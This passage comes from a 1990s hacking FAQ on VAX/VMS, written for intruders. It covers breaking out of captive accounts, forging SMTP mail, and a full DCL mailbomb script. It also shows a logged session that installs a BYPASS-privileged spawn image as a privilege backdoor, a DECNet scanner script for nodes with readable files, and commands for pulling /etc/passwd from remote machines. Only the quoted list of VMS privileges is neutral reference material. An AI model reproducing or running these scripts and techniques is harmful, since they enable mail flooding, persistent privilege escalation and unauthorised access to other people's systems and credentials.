  828. CD         Display home directory,       CD ..       Change directory to the
  829.            current directory, node.      CD [-]      dir above current dir.
  830.  
  831. CD \       Change directory to your      CD ..sub    Change directory to a
  832. CD HOME    SYS$LOGIN directory.          CD [-.sub]  "sideways" subdirectory.
  833.  
  834. CD dir     Change directory to the       CD *        Display/select the
  835. CD [dir]   [dir] directory.                          available subdirectories.
  836.  
  837. CD .sub    Change directory to the       CD .        Reset current directory.
  838. CD [.sub]  [.sub] subdirectory.          CD ?        Display CD instructions.
  839.  
  840.      CD :== @SYS$LOGIN:CD.COM                 DEFINE SYS$PROMPT "ON"
  841.      To make CD available from                To have the VMS $ prompt
  842.      any directory you change to.             display the current directory.
  843.  
  844.                               By The Mentor
  845. $  goto END
  846.  
  847.  
  848.         Once uploaded,  you should add the following line you your
  849.         LOGIN.COM:
  850.  
  851. $ CD :== @DEVICE:[PATH]CD.COM  ! Replace DEVICE/PATH with user information
  852.  
  853. 7.      "Okay,  where my .profile"
  854.  
  855.         Easy.  There is none.  VMS startup routines (for personal accounts)
  856.         can be found in the user's home directory under the name
  857.         "LOGIN.COM".
  858.  
  859. 8.      "I can't seem to get to the DCL prompt"
  860.  
  861.         It is possible to setup "CAPTIVE" accounts under VMS.  When setup
  862.         correctly,  these can be difficult to break out of,   however,
  863.         in alot of cases, a simple control-C while the LOGIN.COM
  864.         is executing.  Another method of keeping the LOGIN.COM
  865.         (or any commands for that fact) is to login with the
  866.         "/NOCOMMAND" flag.  This flag is placed after your username
  867.         at the USERNAME prompt,  and will bypass any account startup
  868.         files/commands.    On a correctly setup captive account,
  869.         this will bomb out.    In the even that this fails,   some
  870.         places slip up by allowing a parent to spawn off other
  871.         processes.  For example,  if the captive account puts you
  872.         into FTP,  or ALL-IN-ONE (Office automation/mail package),
  873.         it might be able to 'SPAWN' out to DCL.   This can also
  874.         be prevented by simply setting up process limitation
  875.         on the account.
  876.  
  877.                  -       VMS SMTP/Mail Information.     -
  878.  
  879.  
  880. 1.      "I am attempting to send fakemail by connecting to the SMTP port,
  881. but everytime I issue the 'mail from',  it gives me a 'Mailbox syntax
  882. incorrect', or 'Bad arguments'.  I try the standard format a *always*
  883. use,  but it *still* gives me this crap!  What's the problem?"......
  884.  
  885.         Of course,  it is possible to send fake mail by connecting to
  886. the VMS machines SMTP (Simple Mail Transfer Protocol) port (25),
  887. however,  VMS "sendmail" routines tend to be a little more picky.  For
  888. example,  the session below would *appear* that it should work...
  889.  
  890. ------<Start Session>-------
  891.  
  892. telnet 6.6.6.6 25
  893. Type ^] (decimal 29) <CR> to return to NetBlazer
  894. Trying 6.6.6.10:25...
  895. Telnet session 0 connected to bogus.add.com
  896. 220 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service ready at Fri, 6 Jan 1995
  897. 6:25:01 -0500 (EST)
  898. helo
  899. 250 BOGUS.ADD.COM ; Hello , pleased to meet you.
  900. mail from: bob@unknown
  901. 553 Mailbox syntax incorrect
  902. quit
  903. 221 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service complete at Fri, 6 Jan
  904. 19
  905. 95 6:25:22 -0500 (EST)
  906. Telnet session 0 closed: EOF
  907.  
  908. -------<End Session>---------
  909.  
  910.         As you can see, however,  this is not the case.  Where is problem
  911. lies is in the fact,  that alot of VMS sendmail routines require "<", and
  912. ">" around "mail from" and "rcpt to" commands,  and sometimes a address
  913. (Especially the case with Multinet SMTP,  and Pathway's Wollangong
  914. Sendmail).   In order to get a good mailing address to "work",  try
  915. "mail from: <bob@bogus.add.com>".   Some VMS SMTP services do not require
  916. the address,  but in most cases,  the ">" and "<" are required.  The
  917. same applys with the "rcpt to" command.  You might need to format it
  918. the same as the "mail from".  I.E. - "rcpt to: <system>" or "rcpt to:
  919. <system@bogus.add.com>".
  920.  
  921.  
  922.  
  923. 2.     "Can I use my favorite Unix sendmail holes on VMS sendmail?"
  924.  
  925.         Don't be silly.  No...  Digital did not believe that sendmail
  926.         bugs and holes where important enough to port (grin).  (It
  927.         has been rumored that one sendmail hole *was* actually ported,
  928.         but as of this time,  this has not be verified.
  929.  
  930. 3.      "How can I code a mail bomb routine,  so that I can piss off
  931.          people really good and eat 'bandwidth'."
  932.  
  933.         Like this,  below...
  934.  
  935. $! Simple VMS Mailbomb routine.
  936. $! Please be someone human.   Don't do this crap.
  937. $!
  938. $ say :== write sys$output
  939. $ on error then goto err
  940. $ if p4 .eqs. ""
  941. $ then
  942. $ say "Mailbomb V1.0                            Coded By The Beaver"
  943. $ say "1995"
  944. $ say ""
  945. $ say "Usage:"
  946. $ say "MAILBOMB [Msg Subject] [File to bomb with] [Username] [# of Times]"
  947. $ exit
  948. $ endif
  949. $ A=1
  950. $ loop:
  951. $ mail/subject='p1' 'p2' 'p3'
  952. $ A = A + 1
  953. $ if A .eqs. p4
  954. $       then
  955. $       say "Bomb Is Complete"
  956. $       exit
  957. $       endif
  958. $ goto loop
  959. $ err:
  960. $ say "A Error has occured.  Be sure all file are present and correct"
  961. $ exit
  962.  
  963.  
  964.               -      User/Image Privilege Informations     -
  965.  
  966.  
  967. 1.      "How are user privileges setup?"
  968.  
  969.         User privleges are handled in a completely different manor
  970.         than Unix handles them.  With unix,  you have either
  971.  
  972.         a> all priveleges (IE - "root")
  973.         b> standard user
  974.  
  975.         VMS is a touch different.
  976.  
  977.         For example,  let say you have a field engineer that needs
  978.         a standard user account (I.E. - be able to send/receive mail,
  979.         do standard DCL commands.. Normal TMPMBX, NETMBX,  and
  980.         all that),  but in order to do his job,  he needs to run the
  981.         online VMS diagnostics software (which is a privileged operation)
  982.         When you add the user,  you can grant him "DIAGNOSE" privledges,
  983.         and normal user privileges,  and he will be able do regular users
  984.         commands and run diagnostics.
  985.  
  986.         What this means is that you can grant certain privileged
  987.         function to certain users,  rather than giving the user
  988.         "the whole system".
  989.  
  990.         This user we added would only have access to privileges that deal
  991.         with the diagnostic software.  For example,  he could not add
  992.         users (via "AUTHORIZE" or modify the SYSUAF.DAT).
  993.  
  994. "Privileges restrict the user of certain system functions to processes
  995. created on the behalf of authorized users.  These restrictions protect
  996. the integrity of the operating system code,  data,  and resources and
  997. thus,  the integrity of user services."
  998.  
  999. "Users cannot execute an image that requires a privilege they do not
  1000. possess,  unless the image is installed as a known image with the
  1001. privilege in question or the image runs within a protected subsystem"
  1002.  
  1003.         Privileges can also be installed on images,  so that when that
  1004.         image is executed,  that images process get the permissions
  1005.         that it has been granted (this does not mean that the user gets
  1006.         the privileges,  but rather,  just the process running this
  1007.         task)
  1008.  
  1009.                         - OpenVMS VAX Guide To System Security
  1010.                           (6.0 manual).
  1011.  
  1012.         Below is a listing of privileges,  and a brief description.
  1013.  
  1014.  
  1015. ACNT      -     Lets a process use the RUN (Process) command to create
  1016.                 Process ($CREPRC) system service to create processes
  1017.                 in which accounting is disabled.  A process in which
  1018.                 account is disabled is on whose resources are not logged.
  1019.  
  1020. ALLSPOOL  -     This privlege lets user's process allocate a spooled
  1021.                 device by executing the Allocate Device ($ALLOC) system
  1022.                 service or by users the DCL command "ALLOCATE"
  1023.  
  1024. ALTPRI    -     Allows the user's process to
  1025.                 1.  Increase its own priority
  1026.                 2.  Set the base priority of a target process
  1027.                 3.  Change priority of its batch or print jobs.
  1028.  
  1029. AUDIT     -     Allows software to append to audit records to the system
  1030.                 security audit log file.   As a result,  this privilege
  1031.                 permits the logging of events that appear to come from the
  1032.                 operating system
  1033.  
  1034. BUGCHK    -     Allows the process to make bugcheck error log entries
  1035.                 from users,  supervisor, or compatibility mode or to send
  1036.                 messages to the system error logger.
  1037.  
  1038. BYPASS    -     Allows the user's process full access to all protected
  1039.                 objects,  totally bypassing UIC-based protection,
  1040.                 ACL protection (Access Control List) and mandatory
  1041.                 access controls.   Users with this privilege can
  1042.                 modify authorization records (SYSUAF.DAT,  where
  1043.                 usernames/passwords are stored),  rights identifiers
  1044.                 (RIGHTSLIST.DAT), DECNet object passwords and accounts
  1045.                 (NETOBJECT.DAT),  and unlimited file access.
  1046.  
  1047. CMEXEC    -     Allows the user's process to execute the Change Mode to
  1048.                 Executive system service.
  1049.  
  1050. CMKRNL    -     Allows the user's process to execute the Change Mode to
  1051.                 Kernel system services.   These privileges allow
  1052.                 things like modify a multiprocessor operation (START/
  1053.                 CPU,  STOP/CPU type commands),  modifying the system
  1054.                 rights list (SET RIGHTS/ATTRIBUTE), change a processes
  1055.                 UIC (SET UIC),  and other functions.
  1056.  
  1057. DETACH    -     Processes can create detached processes that have there
  1058.                 own UIC without the DETACH privilege,  provided the
  1059.                 processes wants to specify a different UIC for the
  1060.  
  1061.  
  1062. DIAGNOSE  -     Lets a process run online diagnostic programs and intercept
  1063.                 and copy all messages written to the error log file.
  1064.  
  1065. DOWNGRADE -     Permits a process to manipulate mandatory access controls.
  1066.  
  1067. EXQUOTA   -     Allows the space taken by the user's files on a given
  1068.                 disk volumes to exceed any usage quotas set for the user
  1069.                 (as determined by UIC) on those volumes.
  1070.  
  1071. GROUP     -     Allows the user's process to affect other processes in its
  1072.                 own group.
  1073.  
  1074. GRPNAME   -     Lets the user's process bypass  access controls
  1075.                 and insert names into (and delete from) the logical table
  1076.                 of the group to which the process belongs by the use of the
  1077.                 Create Logical Bane and Delete Logical Name system services.
  1078.  
  1079. GRPPRV    -     When the process's group matches the group of the object
  1080.                 owner,  the GRPPRV privilege gives a process the access rights
  1081.                 provided by the object's system protection field.  GRPPRV
  1082.                 also lets a process change the protection or the
  1083.                 ownership of any object whose owner group matches the
  1084.                 process's group by using the DCL commands SET SECURITY
  1085.  
  1086. IMPORT    -     Lets a process manipulate mandatory access controls.  The
  1087.                 privilege lets a process mount unlabeled tape volumes.
  1088.                 This privilege is reserved for enhanced security products
  1089.                 like SEVMS.
  1090.  
  1091. LOG_IO    -     Lets the user's process execute the Queue I/O request
  1092.                 ($QIO) system service to perform logical-level I/O
  1093.                 operations.
  1094.  
  1095. MOUNT     -     Lets the user's process execute the mount volume QIO
  1096.                 function.
  1097.  
  1098. NETMBX    -     lets a process perform functions related to a DECNet
  1099.                 Computer Network.
  1100.  
  1101. OPER      -     Allows a process to use the Operator Communications
  1102.                 Manager (OPCOM) process to reply to user's request,
  1103.                 to broadcast messages to all terminals logged in,  to
  1104.                 designate terminals as operator terminals and specify
  1105.                 the types of messages to be displayed to these operator's
  1106.                 terminals,  and to initialize and control the log file
  1107.                 of operator's messages.
  1108.  
  1109. PFNMAP    -     Lets a user's process create and map page frame number
  1110.                 (PFN) global sections to specific pages of physical
  1111.                 memory or I/O device registers,  no matter who is using
  1112.                 the pages or registers.
  1113.  
  1114. PHY_IO    -     Lets the user's process execute the Queue I/O request
  1115.                 ($QUI) system service to perform physical-level I/O
  1116.                 operations.
  1117.  
  1118. PRMCEB    -     Lets the user's process create or delete a permanent
  1119.                 common even flag cluster by executing the Associate
  1120.                 Common Event Flag Cluster.
  1121.  
  1122. PRMGBL    -     Lets the user's process create or delete permanent
  1123.                 global section by executing the Create and Map Section
  1124.                 or Delete Global Section system service.  In addition
  1125.                 ,  a process with this privilege (plus CMKRNL and SYSGLB
  1126.                 privileges) can use the Install utility (INSTALL)
  1127.  
  1128. PRMMBX    -     Lets user's process create or delete permanent mailbox
  1129.                 by the Create Mailbox and Assign Channel system service
  1130.                 or the DElete Mailbox system service.   Mailboxes are
  1131.                 buffers in virtual memory that are treated as if they were
  1132.                 record oriented I/O devices.  A mailbox is used for
  1133.                 general interprocess communications.
  1134.  
  1135. PSWAPM    -     Lets the user's process control whether is can be
  1136.                 swapped out of the balance set by executing the
  1137.                 Set Process Swap Mode system service.
  1138.  
  1139. READALL   -     Lets the process bypass existing restrictions that would
  1140.                 otherwise prevent the process from reading an object.
  1141.                 Unlike the BYPASS privilege which will permits writing and
  1142.                 deleting,  READALL permits only the reading of objects
  1143.                 and allow updating of such backup-related file
  1144.                 characteristics as the backup date.
  1145.  
  1146. SECURITY  -     Lets a process perform security related functions such
  1147.                 as modifying the system password with the DCL command
  1148.                 SET PASSWORD /SYSTEM or modifying the system alarm
  1149.                 and auditing settings using the DCL command
  1150.                 SET AUDIT.
  1151.  
  1152. SETPRV    -     Lets user's create process whose privileges are greater
  1153.                 than its own.   With this privilege,  a user can obtain
  1154.                 any other privilege via the DCL command "SET PROCESS/
  1155.                 PRIV"
  1156.  
  1157. SHARE     -     Lets process assign channels to devices allocated to other
  1158.                 processes or to a nonshared device the Assign I/O Channel
  1159.                 system service.
  1160.  
  1161. SHMEM     -     Lets the user's process create global sections and
  1162.                 mailboxes (permanent or temporary_ in memory shared by
  1163.                 multiple processors if the process also has appropriate
  1164.                 PRMGBL,  PRMMBX,  SYSGBL,  and TMPMBX privileges.
  1165.  
  1166. SYSGBL    -     Lets user;s create or delete system global sections by
  1167.                 executing the Create and Map Sections or the Delete
  1168.                 Global Section system services.  With this privilege
  1169.                 and CMKRNL and PRMGBL,  the Install command (INSTALL)
  1170.                 can be used.
  1171.  
  1172. SYSNAM    -     Let's user's process bypass discrepancy access
  1173.                 controls and insert names into the system logical
  1174.                 name table and delete names from that table.  A
  1175.                 process with this privilege can use the DCL commands
  1176.                 ASSIGN and DEFINE to add names to the system logical
  1177.                 in the user or executive mode and can use the DEASSIGN
  1178.                 command in either mode to delete names from the
  1179.                 table.
  1180.  
  1181. SYSPRV    -     Lets a process access security objects by the system
  1182.                 protection field and also read and modify the owner
  1183.                 (UIC),  the UIC-based protection code,  and the ACL
  1184.                 of and object.   Any processes with this privilege
  1185.                 can add,  modify,  or delete entries in the system
  1186.                 user authorization file (SYSUAF.DAT)
  1187.  
  1188. TMPMBX    -     Lets user's create process create a temporary mailbox
  1189.                 by executing the Create Mailbox and Assign Channel.
  1190.  
  1191. UPGRADE   -     Lets a process manipulate access controls.  This privilege
  1192.                 is reserved for enhanced security products like SEVMS.
  1193.  
  1194. VOLPRO    -     Lets user's processes:
  1195.                         o Initialize a previously used volume with an owner
  1196.                           UIC different from the user's own UIC.
  1197.                         o Override the expiration date on a tape or
  1198.                           disk owned by another user.
  1199.                         o Use the ////FOREIGN qualifier to mount a Files-11
  1200.                           volume owned by another user.
  1201.                         o Override the owner UIC protection of volume.
  1202.  
  1203. WORLD     -     Lets user's process affect (suspend, resume, delete,
  1204.                 set priority, wake,  etc) other processes both inside
  1205.                 and outside its group.
  1206.  
  1207.  
  1208.                                 - Taken Mostly From the, "OpenVMS VAX
  1209.                                   System Security" (V6.0)
  1210.  
  1211.  
  1212.  
  1213. 2.      "How can I make a SUID Shell in VMS"....
  1214.  
  1215.         Simple...  You can't.   Privileges are handled in a much different
  1216.         method than on Unix (see "How are user privileges setup").  You
  1217.         can make a program (image) that when executed,  the process
  1218.         of that image gains the privileges that it was "installed"
  1219.         with.    For example,  if you write a program that needs read access
  1220.         to the SYSUAF.DAT you *could* make SYSUAF.DAT world readable
  1221.         (if you are on a privileged account,  of course)  but this
  1222.         would be very,  very unwise.    Another method would be to
  1223.         "INSTALL" the executable image and give it READALL privileges,
  1224.         so that when a user's processes calls your programs,  that programs
  1225.         process (the image running) gets READALL privileges.   Then that
  1226.         process would be able to read the SYSUAF.DAT,   but the user's
  1227.         process would not.
  1228.  
  1229.         With this in mind,   it is possible to create a senerio similar
  1230.         to that of a "SUID Shell" (but without the shell).  The idea
  1231.         is to give the privileges (that you want to keep ahold of)
  1232.         on a program that does nothing more than make a call to
  1233.         LIB$SPAWN.   The idea is to write a program that will do nothing
  1234.         more than create another process (that drops you to DCL)
  1235.         via LIB$SPAWN,  and using the VMS "INSTALL" utility,  give it
  1236.         the privileges that you wish that process to have.  There are
  1237.         several downfalls to this.  To accomplish this,  you would
  1238.         need CMKRNL privileges yourself (your process).  So your process
  1239.         would already need certain privileges to pull this off. The idea
  1240.         here is in the event that the user has obtained a "privileged
  1241.         account",  and wishes to remain privileged,  he/she could
  1242.         install a image which could be called by a normal (non-privileged)
  1243.         user in which he/she could obtain the system privileges again.
  1244.  
  1245.         Below is a sample session capture of me installing a privileged
  1246.         image.   The privilege I gave this image is "BYPASS" (Bypass
  1247.         all security features,  and the ability to modify SYSUAF.DAT
  1248.         and RIGHTSLIST.DAT)
  1249.  
  1250.  
  1251. Trying...
  1252. Connected to UpperDck
  1253. Escape character is '^]'.
  1254.  
  1255.                        Upper-Dck VMS Development System
  1256.  
  1257.  
  1258.  
  1259. Username: SYSTEM   ! Login to our privileged account
  1260. Password:
  1261.         Welcome to VAX/VMS version V5.2 on node UPPERDCK
  1262.     Last interactive login on Friday,  6-JAN-1995 07:17
  1263.     Last non-interactive login on Thursday, 22-DEC-1994 15:51
  1264.  
  1265.  User= SYSTEM       Directory= [SYSMGR]       UIC=  [1,4]
  1266.         Terminal= NTY5:       6-JAN-1995 07:19:01.00
  1267.  
  1268. sysm>basic      ! I am going to use VMS BASIC,  but use anything you want
  1269.  
  1270. VAX BASIC V2.3
  1271.  
  1272.  
  1273. Ready
  1274.  
  1275. 10 external long function lib$spawn ! Call "SPAWN" library.  The idea with this
  1276.    declare long xspawn              ! program is to give us another "spawned"
  1277.    xspawn=lib$spawn()               ! process.
  1278.  
  1279. save mytrap             ! Save this program
  1280. Ready
  1281.  
  1282. exit                    ! and exit the VMS BASIC.
  1283. sysm>basic mytrap*.*    ! Just to show our file.
  1284.  
  1285. Directory SYS$SYSROOT:[SYSMGR]
  1286.  
  1287. MYTRAP.BAS;1
  1288.  
  1289. Total of 1 file.
  1290. sysm>basic mytrap       ! This will compile and make our object code
  1291. sysm>dir mytrap*.*      ! To show our object code.
  1292.  
  1293. Directory SYS$SYSROOT:[SYSMGR]
  1294.  
  1295. MYTRAP.BAS;1        MYTRAP.OBJ;1
  1296.  
  1297. Total of 2 files.
  1298.  
  1299. sysm>link mytrap/notraceback  ! Link it, with notraceback (for priv reasons)
  1300. sysm>dir mytrap*.*            ! To show our executeable code.
  1301.  
  1302. Directory SYS$SYSROOT:[SYSMGR]
  1303.  
  1304. MYTRAP.BAS;1        MYTRAP.EXE;1        MYTRAP.OBJ;1
  1305.  
  1306. Total of 3 files.
  1307.  
  1308. sysm>copy mytrap.exe sys$system:  ! copy it to sys$system: [this is silly]
  1309. sysm>install                      ! Run install to setup priv's on our imagine.
  1310. INSTALL> create mytrap/priv=(bypass) ! Give "mytrap" bypass priv's
  1311. INSTALL> list mytrap/full            ! Just to show off the image priv's
  1312.  
  1313. DISK$VAXVMSRL5:<SYS6.SYSEXE>.EXE
  1314.    MYTRAP;2                       Prv
  1315.         Entry access count         = 0
  1316.         Privileges = BYPASS
  1317.  
  1318. INSTALL> exit                    ! Get the hell out of here.
  1319. sysm>dir sys$system:mytrap.exe   ! And just to show its still there
  1320.  
  1321. Directory SYS$SYSROOT:[SYSEXE]
  1322.  
  1323. MYTRAP.EXE;2        MYTRAP.EXE;1
  1324.  
  1325. Total of 2 files.
  1326.  
  1327. sysm>dir sys$system:mytrap.exe;2 /full ! Notice "world" protections...
  1328.  
  1329. Directory SYS$SYSROOT:[SYSEXE]
  1330.  
  1331. MYTRAP.EXE;2                  File ID:  (43314,33,0)
  1332. Size:            4/6          Owner:    [1,4]
  1333. Created:   6-JAN-1995 07:20:26.35
  1334. Revised:   6-JAN-1995 07:20:41.54 (2)
  1335. Expires:   <None specified>
  1336. Backup:    <No backup recorded>
  1337. File organization:  Sequential
  1338. File attributes:    Allocation: 6, Extend: 0, Global buffer count: 0
  1339.                     No version limit, Contiguous best try
  1340. Record format:      Fixed length 512 byte records
  1341. Record attributes:  None
  1342. RMS attributes:     None
  1343. Journaling enabled: None
  1344. File protection:    System:RWED, Owner:RWED, Group:RE, World:
  1345. Access Cntrl List:  None
  1346.  
  1347. sysm>set file sys$system:mytrap.exe /protection=(w:re) ! because world cant
  1348. sysm>log                                               ! read/execute. Logout.
  1349.  
  1350.   SYSTEM       logged out at  6-JAN-1995 07:42:02.55
  1351. Connection closed by foreign host.
  1352.  
  1353.         [Now,  we make a new connection to the system to test our ]
  1354.         [ "MYTRAP.EXE" with the image priv's attached to it       ]
  1355.  
  1356. Trying...
  1357. Connected to UpperDck.
  1358. Escape character is '^]'.
  1359.  
  1360.                        Upper-Dck VMS Development System
  1361.  
  1362.  
  1363. Username: JOEBOB        ! Now, log as a normal user.
  1364. Password:
  1365.         Welcome to VAX/VMS version V5.2 on node UPPERDCK
  1366.     Last interactive login on Friday,  6-JAN-1995 07:14
  1367.  
  1368.  User= JOEBOB        Directory= [UPPERDCK]       UIC=  [130,163]
  1369.         Terminal= NTY6:       6-JAN-1995 07:42:12.00
  1370.  
  1371. UPDCK> show process/priv ! To prove that we have normal user priv's
  1372.  
  1373.  6-JAN-1995 07:42:27.01   User: JOEBOB           Process ID:   0000010F
  1374.                           Node: UPPERDCK         Process name: "JOEBOB"
  1375.  
  1376. Process privileges:
  1377.  TMPMBX               may create temporary mailbox
  1378.  NETMBX               may create network device
  1379.  
  1380. Process rights identifiers:
  1381.  INTERACTIVE
  1382.  LOCAL
  1383.  SYS$NODE_UPPERDCK
  1384. UPDCK> set proc/priv=bypass ! To prove I can't enabled "BYPASS" priv's
  1385. %SYSTEM-W-NOTALLPRIV, not all requested privileges authorized
  1386. UPDCK> mcr mytrap           ! Run our little "privledge provider"
  1387. UPDCK> show process/priv    ! To show our priv's after we exec. MYTRAP.EXE
  1388.                             ! note that we are spawned (see PID and Proc. Name)
  1389.  
  1390.  6-JAN-1995 07:42:46.05   User: JOEBOB           Process ID:   00000110
  1391.                           Node: UPPERDCK         Process name: "JOJBOB_1"
  1392.  
  1393. Process privileges:
  1394.  TMPMBX               may create temporary mailbox
  1395.  NETMBX               may create network device
  1396.  
  1397. Process rights identifiers:
  1398.  INTERACTIVE
  1399.  LOCAL
  1400.  SYS$NODE_UPPERDCK
  1401. UPDCK> set process/priv=bypass ! Note,  no error when we do this now.
  1402. UPDCK> show process/priv       ! To prove that we have gained BYPASS
  1403.  
  1404.  6-JAN-1995 07:42:53.37   User: JOEBOB           Process ID:   00000110
  1405.                           Node: UPPERDCK         Process name: "JOEBOB_1"
  1406.  
  1407. Process privileges:
  1408.  TMPMBX               may create temporary mailbox
  1409.  NETMBX               may create network device
  1410.  BYPASS               bypasses UIC checking
  1411.  
  1412.  
  1413. Process rights identifiers:
  1414.  INTERACTIVE
  1415.  LOCAL
  1416.  SYS$NODE_UPPERDCK
  1417. UPDCK> logout ! I can pretty much do anything now.... Lets stop this subprocess
  1418.   Process JOEBOB_1 logged out at  6-JAN-1995 07:42:59.01
  1419. UPDCK> logout ! logout completely
  1420.  
  1421.   JOEBOB       logged out at  6-JAN-1995 07:43:05.11
  1422. Connection closed by foreign host.
  1423.  
  1424.  
  1425.              -     Using DECNetwork's to your advantage.     -
  1426.  
  1427.  
  1428. 1.      "What is a DECNet?"
  1429.  
  1430. "DECNet is a collective name for the family of communications products
  1431. (software and hardware) that allow DIGITAL operating systems to participate
  1432. in a network.
  1433.  
  1434. "A DECNet network links computers into flexible configurations to exchange
  1435. information,  share resources,  and perform distributed processing.  DECNet
  1436. distribution processing capabitlites also information to be originated
  1437. anywhere in the network."
  1438.  
  1439.                 - VMS Version 5.0 DECnet "Guide to DECNet - VAX Networking"
  1440.  
  1441.         DECNet can support a minimum of 2 nodes and up to 64,000 nodes,
  1442.         and can support multiple OS's along with various LAN/WAN
  1443.         (Using PSI,  and DECNet system can be supported on packet
  1444.         switching enviroments (like Tymnet and Sprintnet)) and
  1445.         operating environments. (VMS,   Ultrix,  RSX, and with the correct
  1446.         hardware,  IBM PC's,  VAXmate's, etc).
  1447.  
  1448.         DECNet's allow easy access to information from system to system.
  1449.  
  1450.  
  1451. 2.      "This is great,  what does it mean to me."
  1452.  
  1453.         You can use DECNets to grab information/files/programs and use
  1454.         them to your own advantage (granted that security has not
  1455.         been completely implemented... which is usually the case
  1456.         on a vanilla/default install)
  1457.  
  1458.         For instance,  if a intruder where to break into a system
  1459.         which supported a DECNet,  he/she might be able to access files on
  1460.         a remote system/nodes of that DECNet.  As stated,   DECNets
  1461.         can range from local machines in that area (LAN) or
  1462.         DECNet's can stretch across the world.
  1463.  
  1464. 3.      "How would I get to that information on a remote node?"
  1465.  
  1466.         All from DCL,  using commands like "DIRECTORY",  "COPY",
  1467.         "TYPE",  etc.   Usually by adding in the node name at the
  1468.         being of the command.  For example
  1469.  
  1470. $ DIR NODE::            ! Example format.
  1471.  
  1472.         or
  1473.  
  1474. $ DIR NODE::SYS$COMMON:[SYSEXE]  ! Shows logical SYS$COMMON and the SYSEXE
  1475.                                  ! Directory on the remote node.
  1476.  
  1477.         or
  1478.  
  1479. $ COPY NODE::DISK1:[BOB]SECRET.TXT []  ! The "[]" means "wherever i am"
  1480.  
  1481.  
  1482. 4.      "What if I want to connect and use the nodes interactively?".
  1483.  
  1484.         One of two ways.  Try to "SET HOST [NODENAME]".  If that fails,
  1485.         try to use NCP (Network Control Program),  like this.....
  1486.  
  1487. $ MCR NCP CONNECT NODE [NODENAME]
  1488.  
  1489. 5.      "Well, Gee,  thats wonderful.  How do I find connectable nodes
  1490.         that are on the DECNet"
  1491.  
  1492.         Once again, this information can be found using the NCP (
  1493.         or via a "SHOW NETWORK") command.   You might not get a
  1494.         *complete* listing,  because the host you are on might not
  1495.         know all DECNet nodes,  but it will at least get you hoping
  1496.         around on the DECNet.  This list can be obtain via executing.....
  1497.  
  1498. $ MCP NCP SHOW KNOWN NODE
  1499.  
  1500.         This will dump a list.  You can sort though the information
  1501.         using the NCP connect command,  and see what all sorts
  1502.         of things you run into (Xyplex/DECServers,  Other VMS Machines,
  1503.         SNA Gateway controls,  etc, etc).  If you are only interested
  1504.         in machine that you can get file information on,  you can
  1505.         us the following command file to find nodes that you can
  1506.         use.
  1507.  
  1508.  
  1509.  
  1510. $! DECNETFIND  Version 1.0
  1511. $! Coded By The Beaver
  1512. $! Jan 5th,  1995
  1513. $!
  1514. $! The intent of this code is to scan for remote,  connectable nodes that
  1515. $! the VMS host knows about (Via NCP) and build a list.  Once this list
  1516. $! has been created,  we check to see if the remote machine is indeed
  1517. $! A> VMS (Later rev. will include Ultrix/OSF(?)) 2> Can it be directly
  1518. $! accessed via the DECNet 3> Can we read file systems on the remote node.
  1519. $! Node that are "successful" are stored away.  This prevents mucho
  1520. $! time consuming scanning by hand.
  1521. $!
  1522. $!
  1523. $ on error then goto err                        ! In case of Boo-Boo
  1524. $ say :== write sys$output
  1525. $ if p1 .eqs. ""                                ! Yes, output file helps
  1526. $       then
  1527. $       say "DECNet VMS Node Finder Version 1.0                   1995"
  1528. $       say "Coded By The Beaver"
  1529. $       say ""
  1530. $       say "Usage:"
  1531. $       say "DECNETFIND [Outfile]"
  1532. $       exit
  1533. $       endif
  1534. $!
  1535. $ say "Building Node List Via NCP....(Working)"
  1536. $!
  1537. $ mcr ncp show known nodes to nodes.out  ! Fire up NCP and dump nodeslist
  1538. $ open/read in nodes.out                 ! Open to read
  1539. $ open/write nodelist 'p1'               ! "Success" Storage area.
  1540. $ on severe_error then continue          ! So things done die on "dir ::"'s
  1541. $!
  1542. $ loop1:
  1543. $ read/end = end in line
  1544. $       name=f$element(0,")", f$element(1, "(", line)) ! grab a nodename
  1545. $       if name .gts. "("
  1546. $         then
  1547. $         say "**************************************************************"
  1548. $         say "Nodename: "+name
  1549. $         say ""
  1550. $         dir 'name'::          ! See if we can get to it via a DECNet DIR::
  1551. $         if $severity .nes "1"
  1552. $               then
  1553. $               say "Status:  Node Unreachable Via DECNet Dir::"
  1554. $               else
  1555. $               say "Status:  Found Good Node. [Logged]"
  1556. $               write nodelist name             ! Log it.
  1557. $               endif
  1558. $ endif
  1559. $ goto loop1
  1560. $ err:
  1561. $ say "Ouch.  There has been a error!"
  1562. $ end:
  1563. $ close in
  1564. $ close nodelist                ! Close up and leave,  exit stage
  1565. $ delete nodes.out;*            ! right
  1566. $ say "Complete!"
  1567. $ exit
  1568.  
  1569.  
  1570.         "That works great,  but I ran into a Unix (Ultrix) machine,  and
  1571.         when I do a 'DIR NODENAME::' it only gives me some jerk-off's
  1572.         directory.   Is there anyway I can grab files off the remote machine
  1573.         (Ultrix) and directory listings?"
  1574.  
  1575.         Once again,  no problem.   Format the command like this:
  1576.  
  1577. $ DIR NODE::"/etc"      ! will give remote nodes /etc directory
  1578.  
  1579.         Or to grab the /etc/passwd file on the remote node,  try....
  1580.  
  1581. $ TYPE NODE::"/etc/passwd"   ! And open a capture buffer.
  1582.  
  1583.  
  1584. 6.  "Can't DECNet's be protected more against this generic attack?"
  1585.  
  1586.         Sure,  by setting up proxy login access,  which forces the
  1587.         users to supply a password when attempting to do network
  1588.         operations like above.  Proxy logins are formatted below:
  1589.  
  1590.         (This example is using the DCL COPY command)
  1591.  
  1592.         COPY remotenode"proxyaccount"::filename filename
  1593.  
  1594.         for example,
  1595.  
  1596.         COPY ADAM"BOB FLASHER2"::SECURITY.TXT MYSECURITY.TXT
  1597.  
  1598.         (BOB - The Proxy login name,  FLASHER2 is the password)
  1599.  
  1600.         However,  in a vannila VMS (IE - Default installation),
  1601.         proxy logins are not enabled,  so DECNet surfing can
  1602.         prove to be very,  very useful.
  1603.  
  1604. 7.  "Are proxy logins logged.. Can I write a routine that will
  1605.         attempt proxy accounts to break into remote machines?"
  1606.  
  1607.         You bet that proxy logins are logged.   Repeating invalid
  1608.         attempts will inform the administrations that a "NETWORK
  1609.         BREAK IN" is in effect (via the OPCOM process).
  1610.  
  1611.  
  1612.                 -       TCP/IP Networked Machines        -
  1613.  
  1614.  
  1615. 1.  "I have found a remote VMS machines on a TCP/IP network (I.E.
  1616.      the internet).   I have tried to finger the remote system in
  1617.      order to start collecting usernames,   I get a 'connection
  1618.      refused'.... Now what?"
  1619.  
  1620.         Connect to the SYSTAT port (Port 11).  This will give jobs
  1621.         currently running on the system.  More than likely,  this
